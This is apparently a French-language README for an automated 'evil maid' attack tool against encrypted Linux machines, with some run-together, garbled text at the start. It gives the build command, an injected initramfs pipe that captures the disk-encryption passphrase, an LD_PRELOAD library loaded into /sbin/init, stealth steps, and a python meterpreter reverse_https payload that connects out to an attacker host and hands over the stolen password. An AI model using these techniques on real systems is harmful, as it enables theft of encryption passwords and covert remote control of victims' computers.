
Attaque automatisée de l'evil maid sous Linux

.so dans /sbin/init au démarrage, dépose un shellLD_PRELOAD .so dans DefaultEnviroment, chargé globalement, dépose un shell.python/meterpreter/reverse_https vers LHOST au moment de la compilationgetenv PASSWORD)Voir le Makefile pour plus d'informations/configuration, LHOST est requis dans l'environnement pour construire le .so car msfvenom est injecté au moment de la compilation. Il est également nécessaire d'avoir libcrypsetup-dev (ou équivalent) installé sur la machine de compilation.
Instructions génériques (construit l'image iso dans le répertoire courant) :
LHOST=192.168.56.101 make rev.so iso
Les options suivantes ont été ajoutées au démarrage du noyau :
mc superuser nodhcp quiet loglevel=0
De plus, la valeur de prompt a été définie sur 0 pour permettre une exécution entièrement automatique.
Temps approximatif du démarrage malveillant -> backdooré : ~2 minutes Temps approximatif du démarrage légitime -> shell ~90 secondes (configurable, nous voulons que le réseau soit opérationnel avant nous)
core.d est un core.gz décompressé de TinyCore avec les paquets ci-dessous fusionnés.
Core-current est une Core-current.iso décompressée
Les paquets suivants ont été installés dans tinycore (python, support de systèmes de fichiers) :
Au minimum, la signature est la suivante :
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS est un nom unique pour ce système d'exploitation.IDENTIFIER est une commande shell qui a un code de sortie 0 lorsqu'elle est exécutée sur le bon initrd, et !0 pour tout le reste.ROOT est le chemin complet ou la variable où la nouvelle racine est montée après le déchiffrement.FILENAME est le chemin complet pour déposer notre binaire sur le système de fichiers racine. Soyez attentif à ce que monte l'initrd et ce qui est monté ultérieurement.INITRDFILENAME est le chemin complet du binaire à l'intérieur de l'initrd. Il est copié dans le Makefile (cp ... core.d/...) donc il doit correspondre.Après cela, chaque triplet de *FILE, *PRE, *POST est exécuté sur l'initrd comme un re.sub (par exemple re.sub(*PRE, *POST, *FILE). Les contenus de *PRE et *POST sont développés en utilisant .format(**config[detectedOS]), donc n'hésitez pas à développer votre signature pour injecter des éléments.
Il n'y a pas de limite au nombre de remplacements que vous pouvez effectuer.
\\1 se développera pour correspondre au contenu complet de la correspondance (*PRE) lorsqu'il est utilisé dans le remplacement (*POST).| $La charge utile metasploit python/meterpreter/reverse_https a été choisie car elle est plus indépendante de la plateforme que les charges utiles linux/*/meterpreter/reverse_tcp. python semble être installé par défaut sur tous les systèmes testés.
Par défaut, la charge utile est générée au moment de la compilation et injectée dans le fichier .c en tant que #define. Cela facilite les itérations, mais il ne devrait pas être difficile de sauvegarder la charge utile et de l'insérer manuellement.
Les systèmes basés sur Debian (Debian, Ubuntu, etc.) utilisent une image cpio gzippée standard comme initramfs. Celle-ci contient le script /init par défaut qui prépare le système pour un démarrage complet. Cela inclut la demande du mot de passe à l'utilisateur et le montage du système de fichiers racine chiffré.
Pour déposer notre .so, nous attendons que le système de fichiers racine soit monté (donc après que l'utilisateur ait saisi son mot de passe) et copions le .so sur le système de fichiers /dev. Le système de fichiers /dev a été choisi car il est accessible juste avant la commutation du rootfs et c'est un montage basé sur la RAM. Cela signifie que notre .so ne touchera pas le disque.
Pour utiliser effectivement le .so déposé, nous utilisons ensuite la variable d'environnement LD_PRELOAD sur l'appel switch_root. Cette variable est transmise à tous les exécutables enfants et ainsi, le script final /sbin/init aura le module chargé. Pour rester relativement discret, nous vérifions si nous sommes chargés dans /sbin/init, et si c'est le cas, nous désactivons la variable LD_PRELOAD et supprimons le .so. Cette fonctionnalité peut facilement être désactivée si nous souhaitons accrocher des applications spécifiques.
Pour forcer l'exécution du .so, par défaut après le chargement, nous utilisons le drapeau gcc -Wl,-init,shell, où shell est notre fonction principale. Cela spécifie quelle fonction nous voulons appeler lors de l'initialisation du .so. Considérez cela comme un analogue du DllMain de Windows.
La partie du script init chargée de demander le mot de passe à l'utilisateur et de monter le système de fichiers racine est la suivante :
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
La partie importante pour nous est celle où la sortie de $cryptkeyscript est redirigée vers $cryptcreate. $cryptkeyscript est le demandeur de mot de passe, et $cryptcreate est le monteur de disque. Ce tube rend l'attaque très facile pour nous. Nous insérons le code suivant là où se trouve le tube pour écrire le mot de passe à la fin de notre .so :
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
Cela lira le mot de passe dans la variable $P, et à la fois l'écrira à la fin du .so et le réaffichera. Ce code sera transparent pour les besoins de $cryptkeyscript et $cryptcreate, mais il aura l'effet secondaire d'exfiltrer le mot de passe. Nous utilisons \\\\\\\\x00 pour préfixer un octet nul (en tenant compte de nombreux niveaux d'échappement shell) au mot de passe. Cela rend beaucoup plus facile pour notre .so de relire le mot de passe, car il lui suffit de lire en arrière depuis la fin de lui-même jusqu'à ce qu'il trouve un octet nul.
Pour fournir ce mot de passe à l'attaquant, il est utilisé comme variable d'environnement dans l'invocation de la charge utile. Cela signifie que l'attaquant peut simplement utiliser la commande meterpreter getenv PASSWORD pour récupérer le mot de passe.
En raison de la façon dont le .so est chargé, il y aura des références à lui dans /proc/1/maps et /proc/1/environ.